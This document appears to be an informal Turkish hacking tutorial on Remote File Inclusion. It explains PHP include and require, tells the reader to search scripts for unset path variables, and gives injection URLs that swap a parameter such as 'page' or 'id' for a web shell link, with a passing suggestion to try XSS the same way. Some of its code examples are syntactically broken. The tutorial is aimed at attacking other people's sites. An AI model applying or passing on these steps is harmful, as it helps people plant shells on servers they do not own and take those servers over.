Remote File Inclusion
Remote File Inclusion(RFI) Uzaktan Dosya dahil olmasi anlamina gelmektedir.
Remote File Inclusion bir saldiri teknigi, bilgisayardan Internet web sitelerine saldiri için kullanilir.
Uzaktan dosya katilim(RFI) saldirilari kötü niyetli kisilerin :) kurban olarak gördügü web sitesinde kendi PHP kod çalistirmasina izin verir.Böylece uzaktan dosya dahil olur.
Remote file inclusion 4 tane kodun sayesiyle bulunur.
Bunlar sunlardir,
include
require
include_once
require_once
Bir de veriable isimli bilgi sepetlerimiz var,
$hayber = ’Exploit’;
Herhangi bir script indirin ve de (Örnek veriyorum) o scriptin abcd.php adli dosyasina bakin.(Notepad ile açin,eger hata veriyorsa googleden Notepad2 adli dosyayi indirin)
Oradaki kodlara tek tek bakin.
Girdik diyelim fotograf.php ye
Örnek veriyorum;
define(’IN_Scripts’, true);
$phpbb_root_path = ’./’;
$album_root_path = $phpbb_root_path . ’fotograf_mod/’;
include($phpbb_root_path . ’abcd.inc’);
include($phpbb_root_path . ’hayber.’.$phpfX;
Simdi burda bu include kodun oldugunu farkettik.Size require de olur demistim.Bunu da buraya yazabilirim,degisen olmayacaktir.
Yani,
require($phpbb_root_path . ’abcd.inc’);
include($phpbb_root_path . ’hayber.’.$phpfX;
Degisen hiçbir sey olmayacaktir.
Require ve include ne ise yarar?
include bir dosyayi baska bir dosyanin içine dahil etmektir.
Örnek verirsem,
Diyelim ki burda script sahibi 100 sayfa kod yazmis ,bunu fotograf.php için yazmis.Atiyorum,index.php de bu kodlara ihtiyaci var,tek satir kodla include(album.php) de yazdigi zaman direk karsisina gelir bunlar.
include iste bu ise yarar
Bu 2 kod ( include ve require) arasindaki fark,
Require yani include dahil edilmesi gereken dosya mevcut degil ise hata verir ve geri kalan kodlarin hiçbirini çalistirmaz.include de ise tek bir satir hata verir bu dosya bulunmuyordur.Kalan su kodlarin devamini çalistirmaya devam eder.Aralarindaki tek fark budur.
Require_once ve include_once tek sefer yani tüm script içinde one script demektir.Tek seferde hareket etme anlaminda.Bu yüzden aralarinda pek fark yoktur.
Sizin bilmeniz gereken bu 4 tane kodu yani bunlari,
include
require
include_once
require_once
tek tek satirlarin içinde arayacaksiniz.
Bir de sizlere veriable bilgi sepeti var demistim,
define(’IN_Scripts’, true);
$phpbb_root_path = ’./’;
$album_root_path = $phpbb_root_path . ’fotograf_mod/’;
include($phpbb_root_path . ’abcd.inc’);
include($phpbb_root_path . ’hayber.’.$phpfX;
Bazi scriptler veriable koyar,mesela üstteki örnekte görebiliyoruz.
include($phpbb_root_path
mesela burda bunu yazmis ve de üstüne buna tanimlamis ve dizini göstermis(phpbb_root_path)
$phpbb_root_path = ’hayber’;
Bizim burda asil isimiz sudur,tanimlanmamis olan scripti kendi kodumuzla kendi istedigimiz kodlarla doldururuz.
Üstte gördügünüz gibi Yani shell linkimizi buna bir sekilde tanimlamis oluyoruz.
/includes/fotograf.php?phpbb_root_path=[Shell]
Ben buna burda tanimladigimda örnekteki kodlari site üzerinde çalistiyorum.
Burda yapmamiz gereken scriptte dolanip,bu yukarda göstermis oldugum 4 kodu arayacaksiniz ve parantez içinde böyle;
$phpbb_root_path = ’hayber’;
gibi bir sey arayacaksiniz :)
Zayif bir php kodu örnek,
include($page . ’.php’);
bu php kod asagidaki örnek gibi url lerde kullanilir,
http://www.a.com/index.php?page=archive
buradaki $page degiskeni özel tanimli degil ise,shelli hedef sunucu üzerinde çalistirabilirsiniz yani,
www.a.com/index.php?page=[SheLL]
Girin bir siteye mesela id degeri vardir id=13 dür,13 ü silin shellinizin linkini koyun ucuna.Böylece RFI deneyebilirsiniz.
RFI buldugunuz sitede XSS de bulabilirsiniz.
id= nin ucuna xss kodu ekleyerek.
Bug Researchers - HayBer
....